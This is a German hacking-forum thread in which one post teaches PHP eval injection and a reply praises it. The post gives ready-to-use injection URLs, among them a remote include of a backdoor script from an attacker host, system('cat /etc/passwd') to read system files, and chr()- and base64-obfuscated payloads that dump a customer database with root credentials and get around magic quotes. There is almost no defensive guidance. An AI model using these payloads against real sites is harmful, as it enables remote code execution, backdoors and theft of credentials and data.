Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

Eval Injection in PHP

- - - - -

  • Please log in to reply
1 reply to this topic

#1
Zero-X

Zero-X

    FTB Experte

  • Premium Member
  • Likes
    127
  • 98 posts
  • 45 Bedankt
  • Android
  • Windows, Linux
Eval Injection

Bei der Eval Injection handelt es sich um eine Sicherheitslücke, bei der ein Angreifer beliebigen Code in ein PHP-Skript über einen Parameter in der URL oder eines Eingabefelds einschleusen kann.
Diese Sicherheitslücke entsteht, wenn der PHP-Befehl eval() verwendet und die Eingaben nicht ausreichend gefiltert werden.

Hier ist ein einfacher Beispielcode wie ein verwundbares Skript aussehen kann:

<? eval($func); ?>


Ein Angreifer kann jetzt mit folgenden Beispielen Code einschleusen:
seite.de/index.php?func=<?php phpinfo(); ?>
oder:
seite.de/index.php?func=phpinfo(); (ohne Klammern)

In einigen Fällen muss man nachfolgenden php-Code auskommentieren, das macht man so:
seite.de/index.php?func=phpinfo();//
seite.de/index.php?func=phpinfo();/*
seite.de/index.php?func=phpinfo();%23
Mit //, /* oder %23 kommentiert darauffolgenden php-Code aus. %23 ist das Hexzeichen für Raute, wenn man im Browser einfach die Raute hintendran schreibt funktioniert es nicht, weil der Browser das als Sprungmarke interpretieren würde.

Das ist ein relativ harmloses Beispiel, es werden einem nur einige Informationen über das System angezeigt.


Wesentlich gefährlicher ist das hier:

seite.de/index.php?func=include(http://angreifer.de/backdoor.txt);

Hier wird ein Skript von einem externen Host eingebunden und auf dem Zielsystem ausgeführt. Der Kreativität sind da keine Grenzen gesetzt. Damit das funktioniert muss URL-Inlcude in der php.ini aktiviert sein.


Wenn URL-Include nicht aktiviert ist, funktioniert noch dieses Beispiel:
seite.de/index.php?func=system("cat /etc/passwd");

Mit dem Befehl system() kann man jeden beliebigen Shell-Befehl auf dem Server ausführen.

Magic Quotes mit eval() umgehen:
Über eine Sicherheitslücke mit eval() kann man mit einem einfachen Trick Magic Quotes umgehen, wenn sie auf einem Server aktiviert sind.
PHP hat einen Befehl, mit dem Namen chr(). Wenn man in chr einen ASCII-Code eingibt, erhält man das entsprechende Zeichen zurück. Gibt man zum Beispiel "chr(104)" ein, erhält man den Buchstaben "h".

Ein Beispiel:
seite.de/index.php?func=system(chr(109).chr(121).chr(115).chr(113).chr(108).chr(32).chr(45).chr(101).chr(32).chr(34).chr(115).chr(104).chr(111).chr(119).chr(32).chr(116).chr(97).chr(98).chr(108).chr(101).chr(115).chr(34).chr(32).chr(45).chr(104).chr(32).chr(108).chr(111).chr(99).chr(97).chr(108).chr(104).chr(111).chr(115).chr(116).chr(32).chr(45).chr(68).chr(32).chr(107).chr(117).chr(110).chr(100).chr(101).chr(110).chr(32).chr(45).chr(117).chr(32).chr(114).chr(111).chr(111).chr(116).chr(32).chr(45).chr(112).chr(32).chr(49).chr(50).chr(51).chr(52).chr(53));

An die Funktion system() wurde folgendes übergeben:
mysql -e "show tables" -h localhost -D kunden -u root -p 12345

Mit dieser Eingabe werden über den MySQL-Client über den Benutzer "root" und dem Passwort "12345" die Tabellen der Datenbank "kunden" aufgelistet. Normalerweise würde vor jeden " ein Backslash gesetzt und der Parameter -e hätte eine ungültige Eingabe, mit chr() hat man aber den Server ausgetrickst.

Alternativ kann man das auch in base64 codieren.
seite.de/index.php?func=system(base64_decode(bXlzcWwgLWUgInNob3cgdGFibGVzIiAtaCBsb2NhbGhvc3QgLUQga3VuZGVuIC11IHJvb3QgLXAgMTIzNDU));

  • PaulaAbdul, Ch!ller, Framerater and 6 others like this

#2
Ch!ller

Ch!ller

    Shinigami

  • SubMod
  • PipPipPipPipPipPipPipPipPipPip
  • Likes
    955
  • 896 posts
  • 1384 Bedankt
  • Spender
  • verifiziert
Finde das Tutorial sehr gut
  • Zero-X likes this
Alle Angaben und Informationen dienen lediglich der Theorie!



  Topic Forum Started By Stats Last Post Info

user(s) are reading this topic

members, guests, anonymous users


This topic has been visited by 153 user(s)


    , 0*ptr, 007, 2242, 3even, abuleyla, abuleyla, Amphe1337, AvdeXg, b0kerst3l, B1nary, Babo187, bbxhnr, bebekid32, Blackhook, BlackZetsu, Born2Hack, Botmopp, Butt3rs, C4shin0ut, cardanoia, Cavoo, Ch!ller, ch3m, chimchoca7, chronnox, Clex, cooky1, corkscrew, Cranky, Creo, Crunshy, cruzz, Cube, cX., Cy0n!X, Cyber Tjak, CyberFlash, DarKdb, derballast, derrod, desmond, dischien, dnscode, done65, dorich75, dusa, easysurfer, EncepT, FakeKeyUser, FalkE, FatalityMods, Ferkel, Flex.Net, Framerater, Franziskaner, frechdax, G0rki, GokBoruEfe, GoWest, Gragg23, gtawelt, h4ket, Haksor, Hansiberg, harlek1n, Heinokel0903, im_nobody, Interimere, Internets, INTERSPACECOWBOY, J0cker, jabba, JackTheRapper, johny758, Juri, justrix, Kaase, kakao1, KartRazer, kingkev0, kiwitone, Klaus, Koffee, laxs, LearningbyDoing, lion., lNobodyl, lolorollo, m0nk3y, Macy1967, marcf2009, Maximalx3, Mofug, most_uniQue, N0V3, Osed28, PaulaAbdul, pdr0, pfadn, pi^2, Pornotnthase, prto, pyth, Qjx1337, Qumbilo, R3s1stanc3, ReBBeL, redcore, retr0, Revofire, Rogerlopensio, romka1337, rookyy66, RudolfAntal, S4lent, SAR, Sash1, Sayco, Shadowgun, Sharky, shellnator, shok0, Sleepy, smc2014, Smokyjoe, sniffer, snippa, Solution, Sputnick, SPYKEshadow, Sukaro, syntx, T00LStar, Take1T, TheBuddler, TooL, ToWFiNiT, Traxx, tygaone, ukiya006, Unkiii, User8329, ValleX, venom, Woodenhero, Xenio, Xpit, xtrx, xVirtu, Z3LuX, Zero-X, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.